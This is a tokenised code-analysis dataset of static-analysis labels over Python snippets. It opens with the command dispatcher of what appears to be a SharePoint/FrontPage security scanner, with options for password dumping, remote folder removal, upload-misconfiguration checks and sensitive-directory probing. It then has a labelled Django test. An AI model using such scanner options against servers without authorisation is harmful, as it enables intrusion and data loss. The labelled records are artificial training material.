"\\u\\u\\uNEWLINE\\u\\u\\u_", "module", "\\u", "success_", "(_", "\"", "password", " ", "dump", "ing", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "options_", "._", "exploit", "_", "==_", "\"", "rpc", "\\u", "version", "\\u", "check", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"\\\\", "n", "[+", "]-", "--------------", "--------------", "--------------", "--------------", "--------------", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "audit", "ing", " ", "front", "page", " ", "RP", "C", " ", "service", " ", " ", " ", " ", " ", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", "--------------", "--------------", "--------------", "--------------", "--------------", "---", "!\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "front", "page", "\\u", "rpc", "\\u", "check_", "(_", "target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "module", "\\u", "success_", "(_", "\"", "module", " ", "RP", "C", " ", "version", " ", "check", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "options_", "._", "exploit", "_", "==_", "\"", "rpc", "\\u", "service", "\\u", "listi", "ng", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"\\\\", "n", "[+", "]-", "--------------", "--------------", "--------------", "--------------", "--------------", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "audit", "ing", " ", "front", "page", " ", "RP", "C", " ", "service", " ", "for", " ", "fetch", "ing", " ", "listi", "ng", " ", " ", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", "--------------", "--------------", "--------------", "--------------", "--------------", "---", "!\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "front", "page", "\\u", "service", "\\u", "listing_", "(_", "target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "module", "\\u", "success_", "(_", "\"", "module", " ", "RP", "C", " ", "service", " ", "listi", "ng", " ", "check", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "options_", "._", "exploit", "_", "==_", "\"", "author", "\\u", "config", "\\u", "check", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"\\\\", "n", "[+", "]-", "--------------", "--------------", "--------------", "--------------", "--------------", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "audit", "ing", " ", "front", "page", " ", "configura", "tion", " ", "settings", " ", " ", " ", " ", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", "--------------", "--------------", "--------------", "--------------", "--------------", "---", "!\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "front", "page", "\\u", "config", "\\u", "check_", "(_", "target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "module", "\\u", "success_", "(_", "\"", "module", " ", "RP", "C", " ", "check", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "options_", "._", "exploit", "_", "==_", "\"", "author", "\\u", "remove", "\\u", "folder", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"\\\\", "n", "[+", "]-", "--------------", "--------------", "--------------", "--------------", "--------------", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "try", "ing", " ", "to", " ", "remove", " ", "folder", " ", "from", " ", "web", " ", "server", " ", " ", " ", " ", " ", " ", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", "--------------", "--------------", "--------------", "--------------", "--------------", "---", "!\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "front", "page", "\\u", "remove", "\\u", "folder_", "(_", "target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "module", "\\u", "success_", "(_", "\"", "module", " ", "remove", " ", "folder", " ", "check", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "options_", "._", "exploit", "_", "==_", "\"", "rpc", "\\u", "file", "\\u", "upload", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"\\\\", "n", "[+", "]-", "--------------", "--------------", "--------------", "--------------", "--------------", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "audit", "ing", " ", "file", " ", "upload", "ing", " ", "misc", "onfi", "gur", "ation", " ", " ", " ", " ", " ", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", "--------------", "--------------", "--------------", "--------------", "--------------", "---", "!\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "\\u", "upload", "\\u", "check_", "(_", "target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "module", "\\u", "success_", "(_", "\"", "module", " ", "file", " ", "upload", " ", "check", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "options_", "._", "examples_", "==_", "\"", "example", "s", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "spar", "ty", "\\u", "usage_", "(_", "target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "options_", "._", "directory_", "==_", "\"", "list", "\"_", "or_", "options_", "._", "directory_", "==_", "\"", "index", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "build", "\\u", "target_", "(_", "target_", ",_", "director", "y", "\\u", "check_", ",_", "dir\\u", "target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"\\\\", "n", "[+", "]-", "--------------", "--------------", "--------------", "--------------", "--------------", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "audit", "ing", " ", "front", "page", " ", "director", "y", " ", "permissi", "ons", " ", "(", "forbidden", " ", "|", " ", "index", " ", "|", " ", "not", " ", "exist", ")!", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", "--------------", "--------------", "--------------", "--------------", "--------------", "---", "!\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "audit_", "(_", "dir\\u", "target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "module", "\\u", "success_", "(_", "\"", "director", "y", " ", "check", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "options_", "._", "front", "page_", "==_", "\"", "bin", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "build", "\\u", "target_", "(_", "target_", ",_", "front", "\\u", "bin_", ",_", "refine", "\\u", "target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"\\\\", "n", "[+", "]-", "--------------", "--------------", "-----------", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "audit", "ing", " ", "front", "page", " ", "'/\\", "uv", "ti", "\\u", "bin", "/'", " ", "director", "y", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", "--------------", "--------------", "--------------", "!\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "audit_", "(_", "refine", "\\u", "target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "module", "\\u", "success_", "(_", "\"", "bin", " ", "file", " ", "access", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "options_", "._", "front", "page_", "==_", "\"", "pv", "t", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "build", "\\u", "target_", "(_", "target_", ",_", "front", "\\u", "pv", "t_", ",_", "pv", "t", "\\u", "target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"\\\\", "n", "[+", "]-", "--------------", "--------------", "--------------", "--------------", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "audit", "ing", " ", "'/\\", "uv", "ti", "\\u", "pv", "t", "/'", " ", "director", "y", " ", "for", " ", "sensi", "tiv", "e", " ", "informati", "on", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", "--------------", "--------------", "--------------", "--------------", "---", "!\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "audit_", "(_", "pv", "t", "\\u", "target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "module", "\\u", "success_", "(_", "\"", "pv", "t", " ", "file", " ", "access", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "options_", "._", "fingerprint_", "==_", "\"", "ms", "\\u", "share", "point", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dump", "\\u", "share", "point", "\\u", "headers_", "(_", "target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"\\\\", "n", "[+", "]", " ", "share", "point", " ", "fingerprint", "ing", " ", "module", " ", "complete", "d", " ", "!\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "options_", "._", "fingerprint_", "==_", "\"", "ms", "\\u", "front", "page", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fingerprint", "\\u", "front", "page_", "(_", "target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"\\\\", "n", "[+", "]", " ", "front", "page", " ", "fingerprint", "ing", " ", "module", " ", "complete", "d", " ", "!\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "options_", "._", "share", "point_", "==_", "\"", "layouts", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "build", "\\u", "target_", "(_", "target_", ",_", "share", "point", "\\u", "check", "\\u", "layout_", ",_", "share", "point", "\\u", "target", "\\u", "layout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"\\\\", "n", "[+", "]-", "--------------", "--------------", "--------------", "--------------", "--------", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "audit", "ing", " ", "share", "point", " ", "'/\\", "ula", "you", "ts", "/'", " ", "director", "y", " ", "for", " ", "access", " ", "permissi", "ons", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", "--------------", "--------------", "--------------", "--------------", "-----------", "!\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "audit_", "(_", "share", "point", "\\u", "target", "\\u", "layout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "module", "\\u", "success_", "(_", "\"", "layout", " ", "file", " ", "access", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "options_", "._", "share", "point_", "==_", "\"", "forms", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "build", "\\u", "target_", "(_", "target_", ",_", "share", "point", "\\u", "check", "\\u", "forms_", ",_", "share", "point", "\\u", "target", "\\u", "forms_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"\\\\", "n", "[+", "]-", "--------------", "--------------", "--------------", "--------------", "-----", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "audit", "ing", " ", "share", "point", " ", "'/", "forms", "/'", " ", "director", "y", " ", "for", " ", "access", " ", "permissi", "ons", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", "--------------", "--------------", "--------------", "--------------", "--------", "!\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "audit_", "(_", "share", "point", "\\u", "target", "\\u", "forms_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "module", "\\u", "success_", "(_", "\"", "forms", " ", "file", " ", "access", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "options_", "._", "share", "point_", "==_", "\"", "catal", "og", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "build", "\\u", "target_", "(_", "target_", ",_", "share", "point", "\\u", "check", "\\u", "catalog_", ",_", "share", "point", "\\u", "target", "\\u", "catalog_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"\\\\", "n", "[+", "]-", "--------------", "--------------", "--------------", "--------------", "-----", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "audit", "ing", " ", "share", "point", " ", "'/", "catal", "og", "/'", " ", "director", "y", " ", "for", " ", "access", " ", "permissi", "ons", " ", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", "--------------", "--------------", "--------------", "--------------", "--------", "!\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "audit_", "(_", "share", "point", "\\u", "target", "\\u", "catalog_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "module", "\\u", "success_", "(_", "\"", "catalogs", " ", "file", " ", "access", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "options_", "._", "services_", "==_", "\"", "serv", "\"_", "or_", "options_", "._", "services_", "==_", "\"", "service", "s", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "build", "\\u", "target_", "(_", "target_", ",_", "front", "\\u", "services_", ",_", "refine", "\\u", "target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"\\\\", "n", "[+", "]-", "--------------", "--------------", "--------------", "--------------", "------", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "checking", " ", "exposed", " ", "service", "s", " ", "in", " ", "the", " ", "front", "page", "/", "share", "point", " ", " ", "director", "y", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", "--------------", "--------------", "--------------", "--------------", "---------", "!\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "audit_", "(_", "refine", "\\u", "target_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "module", "\\u", "success_", "(_", "\"", "exposed", " ", "service", "s", " ", "check", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "plea", "se", " ", "provide", " ", "the", " ", "proper", " ", "scanning", " ", "options", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "check", " ", "help", " ", "(-", "h", ")", " ", "for", " ", "argu", "ment", "s", " ", "and", " ", "url", " ", "specifica", "tion", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", "as_", "v_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "Value", "Error", " ", "occur", "red", ".", " ", "Impro", "per", " ", "option", " ", "argu", "ment", " ", "or", " ", "url", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "check", " ", "for", " ", "help", " ", "(-", "h", ")", " ", "for", " ", "more", " ", "deta", "il", "s", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Type", "Error_", "as_", "t_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "Type", "Error", " ", "occ", "cure", "d", ".", " ", "Missing", " ", "option", " ", "argu", "ment", " ", "or", " ", "url", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "check", " ", "for", " ", "help", " ", "(-", "h", ")", " ", "for", " ", "more", " ", "deta", "il", "s", "!\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Index", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "spar", "ty", "\\u", "usage_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "HTTP", "Error_", "as_", "h_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "HTTP", "Error", " ", ":", " ", "%", "s", "\"_", "%_", "h_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "plea", "se", " ", "speci", "fy", " ", "the", " ", "target", " ", "with", " ", "protoc", "ol", " ", "handler", "s", " ", "as", " ", "http", " ", "|", " ", "https", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "urllib2_", "._", "URL", "Error_", "as_", "u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "URL", "Error", " ", ":", " ", "%", "s", "\"_", "%_", "u_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"[", "+]", " ", "plea", "se", " ", "speci", "fy", " ", "the", " ", "target", " ", "with", " ", "protoc", "ol", " ", "handler", "s", " ", "as", " ", "http", " ", "|", " ", "https", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Key", "board", "Interrupt_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "-]", " ", "halt", " ", "signal", " ", "detect", "ed", ",", " ", "exit", "ing", " ", "the", " ", "program", " ", "!\\\\", "n", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"[", "]", " ", "He", "y", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
AppScale/appscale/AppServer/lib/django-1.4/tests/modeltests/field_subclassing/tests.py
[ { "content": " def test_custom_field(self):\n # Creating a model with custom fields is done as per normal.\n s = Small(1, 2)\n self.assertEqual(str(s), \"12\")\n\n m = MyModel.objects.create(name=\"m\", data=s)\n # Custom fields still have normal field's attributes.\n self.assertEqual(m._meta.get_field(\"data\").verbose_name, \"small field\")\n\n # The m.data attribute has been initialised correctly. It's a Small\n # object.\n self.assertEqual((m.data.first, m.data.second), (1, 2))\n\n # The data loads back from the database correctly and 'data' has the\n # right type.\n m1 = MyModel.objects.get(pk=m.pk)\n self.assertTrue(isinstance(m1.data, Small))\n self.assertEqual(str(m1.data), \"12\")\n\n # We can do normal filtering on the custom field (and will get an error\n # when we use a lookup type that does not make sense).\n s1 = Small(1, 3)\n s2 = Small(\"a\", \"b\")\n self.assertQuerysetEqual(\n MyModel.objects.filter(data__in=[s, s1, s2]), [\n \"m\",\n ],\n lambda m: m.name,\n )\n self.assertRaises(TypeError, lambda: MyModel.objects.filter(data__lt=s))\n\n # Serialization works, too.\n stream = serializers.serialize(\"json\", MyModel.objects.all())\n self.assertEqual(stream, '[{\"pk\": %d, \"model\": \"field_subclassing.mymodel\", \"fields\": {\"data\": \"12\", \"name\": \"m\"}}]' % m1.pk)\n\n obj = list(serializers.deserialize(\"json\", stream))[0]\n self.assertEqual(obj.object, m)\n\n # Test retrieving custom field data\n m.delete()\n\n m1 = MyModel.objects.create(name=\"1\", data=Small(1, 2))\n m2 = MyModel.objects.create(name=\"2\", data=Small(2, 3))\n\n self.assertQuerysetEqual(\n MyModel.objects.all(), [\n \"12\",\n \"23\",\n ],\n lambda m: str(m.data)\n )", "metadata": "root.CustomField.test_custom_field", "header": "['class', 'CustomField', '(', 'TestCase', ')', ':', '___EOS___']", "index": 26 } ]
[ { "span": "m1 ", "start_line": 67, "start_column": 8, "end_line": 67, "end_column": 10 }, { "span": "m2 ", "start_line": 68, "start_column": 8, "end_line": 68, "end_column": 10 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Custom", "Field_", "(_", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "custom", "\\u", "field_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Creat", "ing", " ", "a", " ", "model", " ", "with", " ", "custom", " ", "fields", " ", "is", " ", "don", "e", " ", "as", " ", "per", " ", "normal", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "Small", "_", "(_", "1_", ",_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "str_", "(_", "s_", ")_", ",_", "\"", "1", "2", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "m_", "=_", "My", "Model_", "._", "objects_", "._", "create_", "(_", "name_", "=_", "\"", "m", "\"_", ",_", "data_", "=_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Custom", " ", "fields", " ", "still", " ", "have", " ", "normal", " ", "field", "'", "s", " ", "attribute", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "m_", "._", "\\u", "meta_", "._", "get", "\\u", "field_", "(_", "\"", "data", "\"_", ")_", "._", "verbo", "se", "\\u", "name_", ",_", "\"", "small", " ", "field", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "m", ".", "data", " ", "attribute", " ", "has", " ", "bee", "n", " ", "initialise", "d", " ", "correct", "ly", ".", " ", "It", "'", "s", " ", "a", " ", "Small", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "object", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "(_", "m_", "._", "data_", "._", "first_", ",_", "m_", "._", "data_", "._", "second_", ")_", ",_", "(_", "1_", ",_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "data", " ", "load", "s", " ", "back", " ", "from", " ", "the", " ", "databa", "se", " ", "correct", "ly", " ", "and", " ", "'", "data", "'", " ", "has", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "right", " ", "type", "._", "\\u\\u\\uNL\\u\\u\\u_", "m1_", "=_", "My", "Model_", "._", "objects_", "._", "get_", "(_", "pk_", "=_", "m_", "._", "pk_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "isinstance_", "(_", "m1_", "._", "data_", ",_", "Small", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "str_", "(_", "m1_", "._", "data_", ")_", ",_", "\"", "1", "2", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "can", " ", "do", " ", "normal", " ", "filtering", " ", "on", " ", "the", " ", "custom", " ", "field", " ", "(", "and", " ", "will", " ", "get", " ", "an", " ", "error_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "whe", "n", " ", "we", " ", "use", " ", "a", " ", "look", "up", " ", "type", " ", "tha", "t", " ", "doe", "s", " ", "not", " ", "make", " ", "sense", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "s1_", "=_", "Small", "_", "(_", "1_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s2_", "=_", "Small", "_", "(_", "\"", "a", "\"_", ",_", "\"", "b", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "My", "Model_", "._", 